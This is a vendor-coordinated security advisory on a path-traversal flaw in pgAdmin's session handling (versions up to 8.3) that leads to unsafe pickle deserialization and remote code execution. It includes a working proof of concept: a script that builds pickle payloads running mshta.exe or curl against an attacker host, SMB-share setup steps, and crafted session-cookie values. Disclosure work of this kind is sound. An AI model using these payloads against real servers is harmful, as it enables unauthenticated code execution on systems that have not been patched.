pgAdmin (<=8.3) Path Traversal in Session Handling Leads to Unsafe Deserialization and Remote Code Execution (RCE)

Summary

pgAdmin <= 8.3 is affected by a path-traversal vulnerability while deserializing users’ sessions in the session handling code. If the server is running on Windows, an unauthenticated attacker can load and deserialize remote pickle objects and gain code execution. If the server is running on POSIX/Linux, an authenticated attacker can upload pickle objects, deserialize them and gain code execution.

Product Description (from vendor)

“pgAdmin is the most popular and feature rich Open Source administration and development platform for PostgreSQL, the most advanced Open Source database in the world. pgAdmin may be used on Linux, Unix, macOS and Windows to manage PostgreSQL and EDB Advanced Server 11 and above.”. For more information visit https://www.pgadmin.org/.

CVE(s)

Details

Root Cause Analysis

pgAdmin4 uses a file-based session management approach. The session files are saved on disk as pickle objects. When a user performs a request, the value of the session cookie pga4_session is used to retrieve the file, then it’s content is deserialized, and finally its signature verified.

The ManagedSessionInterface class implements flask’s SessionInterface to read the user’s cookie and translate it into their session:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
def open_session(self, app, request):
    cookie_val = request.cookies.get(app.config['SESSION_COOKIE_NAME'])

    if not cookie_val or '!' not in cookie_val:
        return self.manager.new_session()

    sid, digest = cookie_val.split('!', 1)

    if self.manager.exists(sid):
        return self.manager.get(sid, digest)

    return self.manager.new_session()

The cookie value is split in 2 parts at the first ! character. The first part is the session ID (sid), while the second is the session digest.

The vulnerability lies in the FileBackedSessionManager.get method that loads session files by concatenating the sessions folder - located inside the pgAdmin4 DATA_DIR - with the session ID. Precisely, the two values are concatenated using the os.path.join function.

This function has two weaknesses:

  • It does not set a trusted base-path which should not be escaped, therefore os.path.join("/opt/safe/", "../../etc/passwd") returns /etc/passwd.
  • It uses the right-most absolute path in its arguments as the root path, therefore os.path.join("./safe/", "do_not_escape_from_here", "/etc/passwd") returns /etc/passwd.

The following snippet shows the vulnerable code, with added comments:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
def get(self, sid, digest): # sid and digest are read from the cookie, therefore user-controllable
    'Retrieve a managed session by session-id, checking the HMAC digest'

    fname = os.path.join(self.path, sid) # <-- by controlling the sid we can force os.path.join into returning an arbitrary absolute path
    data = None
    hmac_digest = None
    randval = None

    if os.path.exists(fname):
        try:
            with open(fname, 'rb') as f: # <-- open will read a file from the absolute path
                randval, hmac_digest, data = load(f) # <-- load is pickle.load, the deserialization entry-point
        except Exception:
            pass
    # ...SNIP...

Proof of Concept

Initial Setup

  1. Expose a SMB server on a public-facing host:
    1. Install impacket with: python3 -m pipx install impacket
    2. Download the smbserver.py example
    3. Expose the /tmp folder as share: python3 smbserver.py -smb2support share /tmp
  2. Expose an HTTP server on a public-facing host.
  3. Save the following snippet of code and run it with python3 pickler.py '<attacker_host>' replacing <attacker_host> with the IP/domain of the HTTP server setup at step 2 to create two serializaed object, one for Windows (nt.pickle) and one for Linux/POSIX (posix.pickle) which will perform an HTTP request to the <attacker_host> when deserialized.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import struct
import sys

def produce_pickle_bytes(platform, cmd):
    b = b'\x80\x04\x95'
    b += struct.pack('L', 22 + len(platform) + len(cmd))
    b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
    b += b'\x94\x8c\x06system\x94\x93\x94'
    b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
    b += b'\x94\x85\x94R\x94.'
    print(b)
    return b

if __name__ == '__main__':
    if len(sys.argv) != 2:
        exit(f"usage: {sys.argv[0]} ip:port")
    with open('nt.pickle', 'wb') as f:
        f.write(produce_pickle_bytes('nt', f"mshta.exe http://{HOST}/"))
    with open('posix.pickle', 'wb') as f:
        f.write(produce_pickle_bytes('posix', f"curl http://{HOST}/"))

Windows

  1. Expose the nt.pickle file using the SMB share
  2. Deploy a pgAdmin4 server on Windows
  3. Visit the pgAdmin4 login page
  4. Open the browser’s developer tools and change the pga4_session cookie value to //<attacker_host>/share/nt.pickle!a replacing <attacker_host> with the SMB server’s IP/domain
  5. Notice that the nt.pickle file is retrieved from the SMB share
  6. Notice that an HTTP request is performed to the HTTP server, confirming the code execution

Linux/POSIX

  1. Deploy a pgAdmin4 server on Linux
  2. Login with a valid user account
  3. Visit the Storage Manager component
  4. Upload the posix.pickle file
  5. Open the browser’s developer tools and change the pga4_session cookie value to ../storage/<email>/posix.pickle!a replacing <email> with the currently logged in user’s email after replacing @ with _
  6. Notice that an HTTP request is performed to the HTTP server, confirming the code execution

Impact

An attacker could force the server into deserializing a pickle object at an arbitrary path. This type of deserialization can be used to run arbitrary code.

The requirements to exploit the vulnerability vary based on the operating system of the host where pgAdmin4 is installed:

  • Windows: the attacker could specify in the cookie a UNC path (i.e. //attacker.com/share/file.pickle) and expose an unauthenticated SMB share to serve the malicious pickle object, turning the vulnerability into a pre-authentication one.
  • Linux/POSIX: the attacker must be able to upload the malicious pickle object on the host, this could be done using the pgAdmin4 Storage Manager component, which requires the attacker to have a valid account on the target pgAdmin4 instance.

Remediation

Upgrade to pgAdmin 8.4 or later.

Disclosure Timeline

This report was subject to Shielder’s disclosure policy:

  • 26/02/2024:
    • First contact with pgAdmin Security Team.
  • 27/02/2024:
    • Full Report sent via mail to pgAdmin Security Team.
    • pgAdmin Security Team acknowledges the vulnerability and starts working on a fix.
  • 27/02/2024:
    • pgAdmin Team proposes a patch.
    • Shielder suggests changes to the proposed patch.
  • 27/02/2024:
    • pgAdmin Team proposes a new improved patch.
    • Shielder acknowledges the new patch.
  • 04/03/2024:
  • 07/03/2024:
  • 08/03/2024:
    • Shielder’s advisory is made public.

Credits

  • Davide `TheZero` Silvetti of Shielder
  • Abdel Adim `smaury` Oisfi of Shielder

This advisory was first published on https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/

Date

8 March 2024